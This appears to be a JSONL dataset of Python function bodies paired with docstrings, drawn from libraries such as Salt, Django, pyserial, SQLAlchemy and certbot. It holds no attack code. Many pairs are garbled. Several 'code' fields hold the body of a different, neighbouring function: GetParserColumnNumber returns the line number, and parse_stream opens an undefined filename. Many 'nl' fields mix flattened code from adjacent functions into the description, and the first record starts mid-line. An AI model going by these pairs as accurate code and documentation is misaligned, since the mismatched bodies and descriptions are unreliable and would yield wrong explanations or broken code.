config['force_to_top'] and \"A\" or \"B\", prefix,length_sort and (str(len(module_name)) + \":\" + module_name) or module_name)def _add_comments(self, comments, original_string=\"\"):"} {"code": "def disable_autojoin(name, required_ssid=None, ignore_missing=True):\n ret = {'name': name,\n 'result': True,\n 'changes': {},\n 'comment': ''}\n\n name_available = __salt__['wifi.exists'](name)\n\n if not name_available and ignore_missing:\n ret['comment'] = ('SSID [{}] is not available, '\n 'no changes needed.'.format(name))\n return ret\n\n if not name_available and not ignore_missing:\n ret['comment'] = ('SSID [{}] is not available and '\n 'ignore_missing is False.'.format(name))\n ret['result'] = False\n return ret\n\n if required_ssid and not __salt__['wifi.exists'](required_ssid):\n ret['comment'] = ('Could not find required SSID [{}] in order to make '\n 'changes to [{}].'.format(required_ssid, name))\n return ret\n\n autojoin_disabled = __salt__['wifi.autojoin_disabled'](name)\n\n if autojoin_disabled:\n ret['comment'] = ('AutoJoin for SSID [{}] is already '\n 'disabled.'.format(name))\n return ret\n\n if __opts__['test'] == True:\n ret['comment'] = ('AutoJoin for SSID [{}] will be disabled'.format(name))\n ret['result'] = None\n return ret\n\n disable_autojoin = __salt__['wifi.disable_autojoin'](name)\n\n if not disable_autojoin:\n ret['result'] = False\n ret['comment'] = ('Failed to disable AutoJoin on the'\n ' SSID [{}]'.format(name))\n return ret\n\n ret['comment'] = 'Successfully disabled autojoin for SSID [{}]'.format(name)\n ret['changes'].update({name: {'old': 'AutoJoin Enabled.',\n 'new': 'AutoJoin Disabled.'}})\n return ret\n\n", "nl": "Will turn off AutoJoin for the provided SSID.nameThe name of the SSID to disable autojoin.required_ssidName of the SSID that should be present in the network list beforechanging the SSID. This should be set to the name of another SSID.If this SSID is not in the list salt will not change the given SSID.ignore_missing : TrueSalt will ignore return a success by default if the SSID is notavailable, set this to `False` to have salt return as failed if thegiven SSID is missing."} {"code": "def GetParserColumnNumber(self):\n ret = libxml2mod.xmlTextReaderGetParserLineNumber(self._o)\n return ret\n", "nl": "Provide the column number of the current parsing point. ret = libxml2mod.xmlTextReaderGetParserColumnNumber(self._o)return retdef GetParserLineNumber(self):Provide the line number of the current parsing point. "} {"code": "def get_tiddlers_from_bag(bag):\n for tiddler in bag.store.list_bag_tiddlers(bag):\n yield tiddler\n\n", "nl": "Yield the individual :py:class:`tiddlers `that are in a :py:class:`bag `.The tiddlers return are empty objects that have not been loaded fromthe :py:class:`store `.Rarely used, see :py:func:`tiddlyweb.store.Store.list_bag_tiddlers`."} {"code": "def test_ambient_sensor_data(self, mock):\n base = self.load_base_station(mock)\n result = base.get_ambient_sensor_data()\n self.assertEqual(result, None)\n\n @requests_mock.Mocker()\n @patch.object(\n ArloBaseStation, \"publish_and_get_event\", load_ambient_sensor_data)", "nl": "Test ArloBaseStation.ambient_sensor_data.base = self.load_base_station(mock)sensor_data = base.ambient_sensor_dataself.assertEqual(len(sensor_data), 2010)self.assertEqual(base.ambient_temperature, 24.6)self.assertEqual(base.ambient_humidity, 37.2)self.assertEqual(base.ambient_air_quality, 11.2)@requests_mock.Mocker()@patch.object(ArloBaseStation, \"publish_and_get_event\", lambda x, y: None)def test_ambient_sensor_data_none(self, mock):Test ArloBaseStation.get_ambient_sensor_data HTTP error."} {"code": "def parse_stream(self, stream, debug=False):\n stream = codecs.open(filename, 'r', encoding)\n try:\n return self.parse_stream(stream, debug)\n finally:\n stream.close()\n", "nl": "Parse a stream and return the syntax tree.return self.parse_stream_raw(stream, debug)def parse_file(self, filename, encoding=None, debug=False):Parse a file and return the syntax tree."} {"code": "def full_clean(self):\n self._errors = ErrorDict()\n if not self.is_bound:\n return\n self.cleaned_data = {}\n if self.empty_permitted and not self.has_changed():\n return\n for name, field in self.fields.items():\n value = field.widget.value_from_datadict(self.data, self.files, self.add_prefix(name))\n try:\n if isinstance(field, FileField):\n initial = self.initial.get(name, field.initial)\n value = field.clean(value, initial)\n else:\n value = field.clean(value)\n self.cleaned_data[name] = value\n if hasattr(self, 'clean_%s' % name):\n value = getattr(self, 'clean_%s' % name)()\n self.cleaned_data[name] = value\n except ValidationError, e:\n self._errors[name] = e.messages\n if name in self.cleaned_data:\n del self.cleaned_data[name]\n try:\n self.cleaned_data = self.clean()\n except ValidationError, e:\n self._errors[NON_FIELD_ERRORS] = e.messages\n if self._errors:\n delattr(self, 'cleaned_data')\n", "nl": "Cleans all of self.data and populates self._errors andself.cleaned_data."} {"code": "def fromURL(self, url):\n if not self._isOpen: raise portNotOpenError\n return self._read_buffer.qsize()\n", "nl": "extract host and port from an URL stringif url.lower().startswith(\"rfc2217://\"): url = url[10:]try:# is there a \"path\" (our options)?if '/' in url:# cut away optionsurl, options = url.split('/', 1)# process options now, directly altering selffor option in options.split('/'):if '=' in option:option, value = option.split('=', 1)else:value = Noneif option == 'logging':logging.basicConfig() # XXX is that good to call it here?self.logger = logging.getLogger('pySerial.rfc2217')self.logger.setLevel(LOGGER_LEVELS[value])self.logger.debug('enabled logging')elif option == 'ign_set_control':self._ignore_set_control_answer = Trueelif option == 'poll_modem':self._poll_modem_state = Trueelif option == 'timeout':self._network_timeout = float(value)else:raise ValueError('unknown option: %r' % (option,))# get host and porthost, port = url.split(':', 1) # may raise ValueError because of unpackingport = int(port) # and this if it's not a numberif not 0 <= port < 65536: raise ValueError(\"port not in range 0...65535\")except ValueError, e:raise SerialException('expected a string in the form \"[rfc2217://]:[/option[/option...]]\": %s' % e)return (host, port)# - - - - - - - - - - - - - - - - - - - - - - - -def inWaiting(self):Return the number of characters currently in the input buffer."} {"code": "def get_intersection(edge1, edge2):\n\n line = line_from_edge_intersect(edge1, edge2)\n if line:\n return (line[0] + line[1]) / 2\n return None\n\n", "nl": "Get Intersections of 2 Edges.Args:edge1, edge2: tuples containing 2 vectors.Returns:The point halfway on line. See intersect_line_line."} {"code": "def user_data(self, access_token, *args, **kwargs):\n self.process_error(self.data)\n response = self.request_access_token(\n self.ACCESS_TOKEN_URL,\n params=self.auth_complete_params(self.validate_state()),\n headers=self.auth_headers(),\n method=self.ACCESS_TOKEN_METHOD\n )\n self.process_error(response)\n return self.do_auth(response['access_token'], response=response,\n *args, **kwargs)", "nl": "Loads user data from servicereturn self.get_json('https://jawbone.com/nudge/api/users/@me',headers={'Authorization': 'Bearer ' + access_token},)def process_error(self, data):error = data.get('error')if error:if error == 'access_denied':raise AuthCanceled(self)else:raise AuthUnknownError(self, 'Jawbone error was {0}'.format(error))return super(JawboneOAuth2, self).process_error(data)def auth_complete_params(self, state=None):client_id, client_secret = self.get_key_and_secret()return {'grant_type': 'authorization_code', # request auth code'code': self.data.get('code', ''), # server response code'client_id': client_id,'client_secret': client_secret,}@handle_http_errorsdef auth_complete(self, *args, **kwargs):Completes loging process, must return user instance"} {"code": "def move_at_edge_if_selection(self, edge_index):\n self_text_index = self.text.index\n self_text_mark_set = self.text.mark_set\n edges_table = (\"sel.first+1c\", \"sel.last-1c\")", "nl": "Cursor move begins at start or end of selectionWhen a left/right cursor key is pressed create and return to Tkinter afunction which causes a cursor move from the associated edge of theselection."} {"code": "def __setitem__(self, key, value):\n if _is_sunder(key):\n if key not in (\n '_order_', '_create_pseudo_member_',\n '_generate_next_value_', '_missing_', '_ignore_',\n ):\n raise ValueError('_names_ are reserved for future Enum use')\n if key == '_generate_next_value_':\n setattr(self, '_generate_next_value', value)\n elif key == '_ignore_':\n if isinstance(value, str):\n value = value.replace(',',' ').split()\n else:\n value = list(value)\n self._ignore = value\n already = set(value) & set(self._member_names)\n if already:\n raise ValueError('_ignore_ cannot specify already set names: %r' % (already, ))\n elif _is_dunder(key):\n if key == '__order__':\n key = '_order_'\n elif key in self._member_names:\n raise TypeError('Attempted to reuse key: %r' % key)\n elif key in self._ignore:\n pass\n elif not _is_descriptor(value):\n if key in self:", "nl": "Changes anything not dundered or not a descriptor.If an enum member name is used twice, an error is raised; duplicatevalues are not checked for.Single underscore (sunder) names are reserved."} {"code": "def __and__(self, other):\n if not isinstance(other, Counter):\n return NotImplemented\n result = Counter()\n for elem, count in self.items():\n other_count = other[elem]\n newcount = count if count < other_count else other_count\n if newcount > 0:\n result[elem] = newcount\n return result\n", "nl": " Intersection is the minimum of corresponding counts.>>> Counter('abbb') & Counter('bcc')Counter({'b': 1})"} {"code": "def activation_clamp(self, inputs):\n return tf.clip_by_value(inputs, -self.clamp_val, self.clamp_val)\n", "nl": "Clips the output of CN.Arguments:inputs: input activationsReturnsclamped activations"} {"code": "def test_michelet_sim(self):\n self.assertEqual(self.cmp.dist('', ''), 0.0)\n self.assertEqual(self.cmp.dist('a', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'a'), 1.0)\n self.assertEqual(self.cmp.dist('abc', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'abc'), 1.0)\n self.assertEqual(self.cmp.dist('abc', 'abc'), 0.0)\n self.assertEqual(self.cmp.dist('abcd', 'efgh'), 1.0)\n\n self.assertAlmostEqual(self.cmp.dist('Nigel', 'Niall'), 0.75)\n self.assertAlmostEqual(self.cmp.dist('Niall', 'Nigel'), 0.75)\n self.assertAlmostEqual(self.cmp.dist('Colin', 'Coiln'), 0.75)\n self.assertAlmostEqual(self.cmp.dist('Coiln', 'Colin'), 0.75)\n self.assertAlmostEqual(\n self.cmp.dist('ATCAACGAGT', 'AACGATTAG'), 0.5545454545\n )\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test abydos.distance.Michelet.sim.# Base casesself.assertEqual(self.cmp.sim('', ''), 1.0)self.assertEqual(self.cmp.sim('a', ''), 0.0)self.assertEqual(self.cmp.sim('', 'a'), 0.0)self.assertEqual(self.cmp.sim('abc', ''), 0.0)self.assertEqual(self.cmp.sim('', 'abc'), 0.0)self.assertEqual(self.cmp.sim('abc', 'abc'), 1.0)self.assertEqual(self.cmp.sim('abcd', 'efgh'), 0.0)self.assertAlmostEqual(self.cmp.sim('Nigel', 'Niall'), 0.25)self.assertAlmostEqual(self.cmp.sim('Niall', 'Nigel'), 0.25)self.assertAlmostEqual(self.cmp.sim('Colin', 'Coiln'), 0.25)self.assertAlmostEqual(self.cmp.sim('Coiln', 'Colin'), 0.25)self.assertAlmostEqual(self.cmp.sim('ATCAACGAGT', 'AACGATTAG'), 0.4454545455)def test_michelet_dist(self):Test abydos.distance.Michelet.dist."} {"code": "def stock_method_name(iterwhat):\n if six.PY3:\n return iterwhat\n return 'iter' + iterwhat\n\n class MyDict(dict):\n if not six.PY3:", "nl": "Given a method suffix like \"lists\" or \"values\", return the nameof the dict method that delivers those on the version of Pythonwe're running in."} {"code": "def concat_output(self, out):\n batch_size = out.shape[0]\n device = out.device\n c_dim = self.c_dim\n z_dim = self.z_dim\n\n out = out.contiguous().view(batch_size, -1)\n if c_dim != 0:\n c_out = torch.zeros(batch_size, c_dim).to(device)\n out = torch.cat([out, c_out], dim=-1)\n if z_dim != 0:\n z_out = torch.zeros(batch_size, z_dim).to(device)\n out = torch.cat([out, z_out], dim=-1)\n\n return out\n", "nl": " Returns the output of the velocity network.The points, the conditioned codes c, and the latent codes z areconcatenated to produce a single output of similar size as the inputtensor. Zeros are concatenated with respect to the dimensions of thehidden vectors c and z. (This ensures that the \"motion vectors\" forthese \"fake points\" are 0, and thus are not used by the adjoint methodto calculate the step size.)Args:out (tensor): output points"} {"code": "def __eq__(self, other: Any) -> bool:\nA dictionary from package name to dependency data structure (see above).\nThe package name must satisfy ')\n\n if relative_dir:\n self.document.append(\n '')\n else:\n self.document.append(\n '')\n\n self.document.append(\"\")\n self.document.append(\n \"RGT \" + self.name + \"\")\n\n self.document.append(\"\")\n self.document.append(\n \"\")\n self.document.append(\"
\")\n self.document.append(\"\\t\")\n\n if relative_dir:\n self.document.append(\"\\t\\t\")\n\n else:\n self.document.append(\n \"\\t\\t\")\n\n self.document.append(\"\\t\\t\")\n if RGT_name:\n self.document.append(\n \"\\t\\t\")\n else:\n self.document.append(\n \"\\t\\t\")\n\n self.document.append(\"\\t\")\n self.document.append(\"
\")\n if self.homepage: self.document.append(\"\")\n if other_logo == \"TDF\":\n self.document.append(\n \"\\t\\t\")\n elif other_logo == \"viz\":\n self.document.append(\n \"\\t\\t\")\n else:\n self.document.append(\n \"\\t\\t\")\n if self.homepage: self.document.append(\"\")\n self.document.append(\"\\t\\t

Regulatory Genomics Toolbox - \" + self.name + \"

\" + self.name + \"

\")\n self.document.append(\"\")\n", "nl": "Creates default document header.*Keyword arguments:*- relative_dir -- Define the directory to store CSS file and RGT logo so that the html code can read from it (default = None).- RGT_name -- Whether to print RGT name (default = True).- other_logo -- Other tool logos (default = None)"} {"code": "def listen(self):\n count = 0\n self._start()\n while True:\n result = self._socket.recv_pyobj()\n\n if isinstance(result, tuple):\n request, data = result\n else:\n request = result\n data = None\n\n if request == self.SPACE:\n if self.queue.qsize() + count < self.queue_maxsize:\n self._socket.send_string(self.SPACE_AVAILABLE)\n count += 1\n else:\n self._socket.send_string(self.SPACE_NOT_AVAILABLE)\n\n elif request == self.PING:\n self._socket.send_string(self.PONG)\n\n elif request == self.DATA:\n self._socket.send_string(self.STORING)\n self.queue.put(data)\n count -= 1\n\n elif request == self.DONE:\n self._socket.send_string(ZMQServer.CLOSED)\n self.queue.put(('DONE', [], {}))\n self._close()\n break\n\n else:\n raise RuntimeError('I did not understand your request %s' % request)\n\n\nclass QueuingServer(HasLogger):\n \"\"\" Implements server architecture for Queueing\"\"\"", "nl": " Handles listening requests from the client.There are 4 types of requests:1- Check space in the queue2- Tests the socket3- If there is a space, it sends data4- after data is sent, puts it to queue for storing"} {"code": "def test_data_snapshot_with_optional_fields(self):\n browse_page = BrowsePage(\n title=\"Browse Page\",\n slug=\"browse\",\n )\n\n browse_page.content = StreamValue(\n browse_page.content.stream_block, [atomic.chart_block], True\n )\n publish_page(child=browse_page)\n\n response = self.client.get(\"/browse/\")\n self.assertContains(response, \"Volume of credit cards originated\")\n self.assertContains(response, \"foo/bar.csv\")\n self.assertContains(response, \"Data not final.\")\n self.assertContains(\n response,\n (\n \"The most recent data available in this visualization are for \"\n \"April 2016\"\n ),\n )\n self.assertContains(response, \"January 2018\")\n", "nl": "Test rendering of Data Snapshot with inquiry and tightness databrowse_page = BrowsePage(title=\"Browse Page\",slug=\"browse\",)# Adds a AUT market to a browse pagebrowse_page.content = StreamValue(browse_page.content.stream_block,[atomic.data_snapshot_with_optional_fields],True,)publish_page(child=browse_page)response = self.client.get(\"/browse/\")self.assertContains(response, \"5 million\")self.assertContains(response, \"$64 billion\")self.assertContains(response, \"5% increase\")self.assertContains(response, \"January 2015\")self.assertContains(response, \"Loans originated\")self.assertContains(response, \"Dollar value of new loans\")self.assertContains(response, \"In year-over-year originations\")# Should include inquiry or tightness informationself.assertContains(response, \"7.4% decrease\")self.assertContains(response, \"In year-over-year inquiries\")self.assertContains(response, \"2.8% increase\")self.assertContains(response, \"In year-over-year credit tightness\")def test_chart_block(self):Chart Block correctly renders fields on a Browse Page"} {"code": "def get_global_setting(self, var_name):\n var_value = self.setup_util.get_customized_setting(var_name)\n if var_value is not None and var_name in self.get_global_checkbox_fields():\n var_value = sutils.is_true(var_value)\n return var_value\n", "nl": "Get customized setting value configured in global configuration.:param var_name: `string`:return: customized global configuration value or None"} {"code": "def __init__(self, returncode, cmd, output=None, stdout=None, stderr=None):\n top = tempfile.mkdtemp(prefix='rpmvenv')\n os.makedirs(os.path.join(top, 'SOURCES'))\n os.makedirs(os.path.join(top, 'SPECS'))\n os.makedirs(os.path.join(top, 'BUILD'))\n os.makedirs(os.path.join(top, 'RPMS'))\n os.makedirs(os.path.join(top, 'SRPMS'))\n return top\n\n", "nl": "Initialize the exception with process information.super(RpmProcessError, self).__init__(returncode, cmd)self.output = output or ''self.stdout = stdout or ''self.stderr = stderr or ''def topdir():Get the absolute path to a valid rpmbuild %_topdir."} {"code": "def rfind(s, *args):\n return _apply(s.rfind, args)\n\n\n_float = float\n_int = int\n_long = long\n_StringType = type('')\n", "nl": "rfind(s, sub [,start [,end]]) -> intReturn the highest index in s where substring sub is found,such that sub is contained within s[start,end]. Optionalarguments start and end are interpreted as in slice notation.Return -1 on failure."} {"code": "def render_pep440(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"] or pieces[\"dirty\"]:\n rendered += plus_or_dot(pieces)\n rendered += \"%d.g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n else:\n rendered = \"0+untagged.%d.g%s\" % (pieces[\"distance\"],\n pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n return rendered\n\n", "nl": "Build up version string, with post-release \"local version identifier\".Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if youget a tagged build and then dirty it, you'll get TAG+0.gHEX.dirtyExceptions:1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]"} {"code": "def test_function_arbitrary_arguments():\n assert first_param == 'first param'\n assert arguments == ('second param', 'third param')\n\n test_function('first param', 'second param', 'third param')\n", "nl": "Arbitrary Argument Lists# When a final formal parameter of the form **name is present, it receives a dictionary# containing all keyword arguments except for those corresponding to a formal parameter.# This may be combined with a formal parameter of the form *name which receives a tuple# containing the positional arguments beyond the formal parameter list.# (*name must occur before **name.) For example, if we define a function like this:def test_function(first_param, *arguments):This function accepts its arguments through \"arguments\" tuple"} {"code": "def good_ids(self) -> List[int]:\n return self._currency_ids\n\n @property", "nl": "The item ids of an already deployed smart-contract.return self._good_ids@propertydef currency_ids(self) -> List[int]:The currency ids of an already deployed smart-contract."} {"code": "def _configure_all(cls):\n 'polymorphic_on' column, if applicable, and not\n already generated by _configure_properties (which is typical).\n\n Also create a setter function which will assign this\n attribute to the value of the 'polymorphic_identity'\n upon instance construction, also if applicable. This\n routine will run when an instance is created.\n\n \"\"\"", "nl": "Class-level path to the :func:`.configure_mappers` call.configure_mappers()def dispose(self):# Disable any attribute-based compilation.self.configured = Trueself._dispose_called = Trueif hasattr(self, \"_configure_failed\"):del self._configure_failedif (not self.non_primaryand self.class_manager is not Noneand self.class_manager.is_mappedand self.class_manager.mapper is self):instrumentation.unregister_class(self.class_)def _configure_pks(self):self.tables = sql_util.find_tables(self.persist_selectable)self._pks_by_table = {}self._cols_by_table = {}all_cols = util.column_set(chain(*[col.proxy_set for col in self._columntoproperty]))pk_cols = util.column_set(c for c in all_cols if c.primary_key)# identify primary key columns which are also mapped by this mapper.tables = set(self.tables + [self.persist_selectable])self._all_tables.update(tables)for t in tables:if t.primary_key and pk_cols.issuperset(t.primary_key):# ordering is important since it determines the ordering of# mapper.primary_key (and therefore query.get())self._pks_by_table[t] = util.ordered_column_set(t.primary_key).intersection(pk_cols)self._cols_by_table[t] = util.ordered_column_set(t.c).intersection(all_cols)# if explicit PK argument sent, add those columns to the# primary key mappingsif self._primary_key_argument:for k in self._primary_key_argument:if k.table not in self._pks_by_table:self._pks_by_table[k.table] = util.OrderedSet()self._pks_by_table[k.table].add(k)# otherwise, see that we got a full PK for the mapped tableelif (self.persist_selectable not in self._pks_by_tableor len(self._pks_by_table[self.persist_selectable]) == 0):raise sa_exc.ArgumentError(\"Mapper %s could not assemble any primary \"\"key columns for mapped table '%s'\"% (self, self.persist_selectable.description))elif self.local_table not in self._pks_by_table and isinstance(self.local_table, schema.Table):util.warn(\"Could not assemble any primary \"\"keys for locally mapped table '%s' - \"\"no rows will be persisted in this Table.\"% self.local_table.description)if (self.inheritsand not self.concreteand not self._primary_key_argument):# if inheriting, the \"primary key\" for this mapper is# that of the inheriting (unless concrete or explicit)self.primary_key = self.inherits.primary_keyelse:# determine primary key from argument or persist_selectable pks -# reduce to the minimal set of columnsif self._primary_key_argument:primary_key = sql_util.reduce_columns([self.persist_selectable.corresponding_column(c)for c in self._primary_key_argument],ignore_nonexistent_tables=True,)else:primary_key = sql_util.reduce_columns(self._pks_by_table[self.persist_selectable],ignore_nonexistent_tables=True,)if len(primary_key) == 0:raise sa_exc.ArgumentError(\"Mapper %s could not assemble any primary \"\"key columns for mapped table '%s'\"% (self, self.persist_selectable.description))self.primary_key = tuple(primary_key)self._log(\"Identified primary key columns: %s\", primary_key)# determine cols that aren't expressed within our tables; mark these# as \"read only\" properties which are refreshed upon INSERT/UPDATEself._readonly_props = set(self._columntoproperty[col]for col in self._columntopropertyif self._columntoproperty[col] not in self._identity_key_propsand (not hasattr(col, \"table\")or col.table not in self._cols_by_table))def _configure_properties(self):# Column and other ClauseElement objects which are mappedself.columns = self.c = util.OrderedProperties()# object attribute names mapped to MapperProperty objectsself._props = util.OrderedDict()# table columns mapped to lists of MapperProperty objects# using a list allows a single column to be defined as# populating multiple object attributesself._columntoproperty = _ColumnMapping(self)# load custom propertiesif self._init_properties:for key, prop in self._init_properties.items():self._configure_property(key, prop, False)# pull properties from the inherited mapper if any.if self.inherits:for key, prop in self.inherits._props.items():if key not in self._props and not self._should_exclude(key, key, local=False, column=None):self._adapt_inherited_property(key, prop, False)# create properties for each column in the mapped table,# for those columns which don't already map to a propertyfor column in self.persist_selectable.columns:if column in self._columntoproperty:continuecolumn_key = (self.column_prefix or \"\") + column.keyif self._should_exclude(column.key,column_key,local=self.local_table.c.contains_column(column),column=column,):continue# adjust the \"key\" used for this column to that# of the inheriting mapperfor mapper in self.iterate_to_root():if column in mapper._columntoproperty:column_key = mapper._columntoproperty[column].keyself._configure_property(column_key, column, init=False, setparent=True)def _configure_polymorphic_setter(self, init=False):Configure an attribute on the mapper representing the"} {"code": "def test_valid_group(self):\n self.assertEqual(python_to_couch({'group': True}), {'group': 'true'})\n self.assertEqual(python_to_couch({'group': False}), {'group': 'false'})\n", "nl": "Test group translation is successful."} {"code": "def test_full_thermal_loss_channel(self, nbar, setup_backend, pure, tol):\n backend = setup_backend(1)\n r = 0.432\n backend.squeeze(r, 0, 0)\n backend.thermal_loss(T, nbar, 0)\n state = backend.state()\n if state._basis == \"gaussian\":\n res = state.cov()\n elif state._basis == \"bosonic\":\n res = state.covs()\n exp = (\n np.diag(\n [\n T * np.exp(-2 * r) + (1 - T) * (2 * nbar + 1),\n T * np.exp(2 * r) + (1 - T) * (2 * nbar + 1),\n ]\n )\n * hbar\n / 2\n )\n\n print(res, exp)\n\n assert np.allclose(res, exp, atol=tol, rtol=0)\n\n\n@pytest.mark.backends(\"fock\", \"tf\")\nclass TestFockRepresentation:\n \"\"\"Tests that make use of the Fock basis representation.\"\"\"", "nl": "Tests thermal loss channel with T=0 (should produce a thermal state).backend = setup_backend(1)z = 0.432 * np.exp(1j * 0.534)alpha = 0.654 + 1j * 0.239T = 0backend.prepare_thermal_state(nbar, 0)state1 = backend.state()backend.reset(pure=pure)backend.squeeze(np.abs(z), np.angle(z), 0)backend.displacement(np.abs(alpha), np.angle(alpha), 0)backend.thermal_loss(T, nbar, 0)state2 = backend.state()assert np.allclose(state1.means(), state2.means(), atol=tol, rtol=0)if state1._basis == \"gaussian\":assert np.allclose(state1.cov(), state2.cov(), atol=tol, rtol=0)elif state1._basis == \"bosonic\":assert np.allclose(state1.covs(), state2.covs(), atol=tol, rtol=0)@pytest.mark.parametrize(\"T\", LOSS_TS)@pytest.mark.parametrize(\"nbar\", MAG_ALPHAS)def test_thermal_loss_channel_on_squeezed_state(self, nbar, T, setup_backend, pure, tol, hbar):Tests thermal loss channel on a squeezed state"} {"code": "def __nonzero__(self):\n return self.ok\n", "nl": "Returns True if :attr:`status_code` is less than 400.This attribute checks if the status code of the response is between400 and 600 to see if there was a client error or a server error. Ifthe status code, is between 200 and 400, this will return True. Thisis **not** a check to see if the response code is ``200 OK``."} {"code": "def wasSuccessful(self):\n return len(self.failures) == len(self.errors) == 0\n\n", "nl": "Report whether or not this test suite was successful or not.The behaviour of this method changed in L{pyunit} in Python 3.4 tofail if there are any errors, failures, or unexpected successes.Previous to 3.4, it was only if there were errors or failures. Thismethod implements the old behaviour for backwards compatibility reasons,checking just for errors and failures.@rtype: L{bool}"} {"code": "def renewal_post_hooks_dir(self):\n requirements are not met.\n\n :param config: IConfig instance holding user configuration\n :type args: :class:`certbot.interfaces.IConfig`\n\n \"\"\"", "nl": "Path to the post-hook directory for the renew subcommand.return os.path.join(self.renewal_hooks_dir,constants.RENEWAL_POST_HOOKS_DIR)def check_config_sanity(config):Validate command line options and display error message if"} {"code": "def challenge(self, challenge):\n raise NotImplementedError\n\n @abstractmethod", "nl": "Process the server's challenge.:Parameters:- `challenge`: the challenge.:Types:- `challenge`: `bytes`:return: the response or a failure indicator.:returntype: `Response` or `Failure`"} {"code": "def condense_semicolons(css):\n\n lines = []\n line_start = 0\n for i, char in enumerate(css):\n if char == '}' and (i - line_start >= line_length):\n lines.append(css[line_start:i + 1])\n line_start = i + 1\n\n if line_start < len(css):\n lines.append(css[line_start:])\n return '\\n'.join(lines)\n\n", "nl": "Condense multiple adjacent semicolon characters into one.return re.sub(r\";;+\", \";\", css)def wrap_css_lines(css, line_length):Wrap the lines of the given CSS to an approximate length."} {"code": "def visit_ClassDef(self, classdef):\n ...\n ... class Foo:", "nl": "Check the line number of each of the methods>>> self = DefunFinder(func_name='bar', lineno=4)>>> code = "} {"code": "def min_mag(self, a, b):\n a = _convert_other(a, raiseit=True)\n return a.min_mag(b, context=self)\n", "nl": "Compares the values numerically with their sign ignored.>>> ExtendedContext.min_mag(Decimal('3'), Decimal('-2'))Decimal('-2')>>> ExtendedContext.min_mag(Decimal('-3'), Decimal('NaN'))Decimal('-3')>>> ExtendedContext.min_mag(1, -2)Decimal('1')>>> ExtendedContext.min_mag(Decimal(1), -2)Decimal('1')>>> ExtendedContext.min_mag(1, Decimal(-2))Decimal('1')"} {"code": "def address(self) -> str:\n return self._address\n\n @classmethod", "nl": "Return the address for the key pair.:return: a display_address str"} {"code": "def cache_data(self, name, data):\n serializer = manager.serializer(self.cache_serializer)\n\n cache_path = self.cachefile(\"%s.%s\" % (name, self.cache_serializer))\n\n if data is None:\n if os.path.exists(cache_path):\n os.unlink(cache_path)\n self.logger.debug(\"deleted cache file: %s\", cache_path)\n return\n\n with serializer.atomic_writer(cache_path, \"w\") as file_obj:\n serializer.dump(data, file_obj)\n\n self.logger.debug(\"cached data: %s\", cache_path)\n", "nl": "Save ``data`` to cache under ``name``.If ``data`` is ``None``, the corresponding cache file will bedeleted.:param name: name of datastore:param data: data to store. This may be any object supported bythe cache serializer"} {"code": "def to_dict(self):\n\n result = self.to_identifier()\n\n result.update({\n 'title': self.title,\n\n 'watched': 1 if self.is_watched else 0,\n 'collected': 1 if self.is_collected else 0,\n\n 'plays': self.plays if self.plays is not None else 0,\n 'in_watchlist': self.in_watchlist if self.in_watchlist is not None else 0,\n 'progress': self.progress,\n\n 'last_watched_at': to_iso8601_datetime(self.last_watched_at),\n 'collected_at': to_iso8601_datetime(self.collected_at),\n 'paused_at': to_iso8601_datetime(self.paused_at),\n\n 'ids': dict([\n (key, value) for (key, value) in self.keys[1:]\n ])\n })\n\n if self.rating:\n result['rating'] = self.rating.value\n result['votes'] = self.rating.votes\n result['rated_at'] = to_iso8601_datetime(self.rating.timestamp)\n\n if self.first_aired:\n result['first_aired'] = to_iso8601_datetime(self.first_aired)\n\n if self.updated_at:\n result['updated_at'] = to_iso8601_datetime(self.updated_at)\n\n if self.overview:\n result['overview'] = self.overview\n\n if self.available_translations:\n result['available_translations'] = self.available_translations\n\n if self.number_abs:\n result['number_abs'] = self.number_abs\n\n if self.runtime:\n result['runtime'] = self.runtime\n\n return result\n", "nl": "Dump episode to a dictionary.:return: Episode dictionary:rtype: :class:`~python:dict`"} {"code": "def get_skill_manifest_no_device_specific(context):\n skill_repo = SkillRepository(context.db)\n skill = skill_repo.get_skill_by_global_id(context.device_specific_skill.skill_gid)\n assert_that(skill, is_(none()))\n\n\n@then(\"the skill is added to the manifest on the database\")", "nl": "Check that there are no device-specific skills on the skill manifest.device_skill_repo = DeviceSkillRepository(context.db)skill_manifest = device_skill_repo.get_skill_manifest_for_device(context.device_id)assert_that(len(skill_manifest), equal_to(1))remaining_skill = skill_manifest[0]assert_that(remaining_skill.skill_gid,not_(equal_to(context.device_specific_skill.skill_gid)),)@then(\"the device-specific skill is removed from the database\")def ensure_device_specific_skill_removed(context):Check that the device-specific skill is no longer on the skill table."} {"code": "def downsample_average_blocks(img, factor):\n dsize = tuple(np.divide(img.shape, factor).astype(np.int)[0:2])\n temp_img = np.zeros(dsize)\n for r, c in it.product(range(factor), range(factor)):\n temp_img += img[r::factor, c::factor]\n new_img = temp_img / (factor ** 2)\n return new_img\n\n", "nl": "Downsamples by averaging blocks of pixels. Equivalent to a 2D convolutionwith a uniform matrix with elements `1 / factor ** 2` and a stride of`factor`. Unfortunately scipy doesn't seem to have a stridedimplementation"} {"code": "def resolve(self, s):\n name = s.split('.')\n used = name.pop(0)\n try:\n found = self.importer(used)\n for frag in name:\n used += '.' + frag\n try:\n found = getattr(found, frag)\n except AttributeError:\n self.importer(used)\n found = getattr(found, frag)\n return found\n except ImportError:\n e, tb = sys.exc_info()[1:]\n v = ValueError('Cannot resolve %r: %s' % (s, e))\n v.__cause__, v.__traceback__ = e, tb\n raise v\n", "nl": "Resolve strings to objects using standard import and attributesyntax."} {"code": "def is_global(self):\n return (not (self.network_address in IPv4Network('100.64.0.0/10') and\n self.broadcast_address in IPv4Network('100.64.0.0/10')) and\n not self.is_private)\n\n\nclass _IPv4Constants:\n _linklocal_network = IPv4Network('169.254.0.0/16')\n\n _loopback_network = IPv4Network('127.0.0.0/8')\n\n _multicast_network = IPv4Network('224.0.0.0/4')\n\n _public_network = IPv4Network('100.64.0.0/10')\n\n _private_networks = [\n IPv4Network('0.0.0.0/8'),\n IPv4Network('10.0.0.0/8'),\n IPv4Network('127.0.0.0/8'),\n 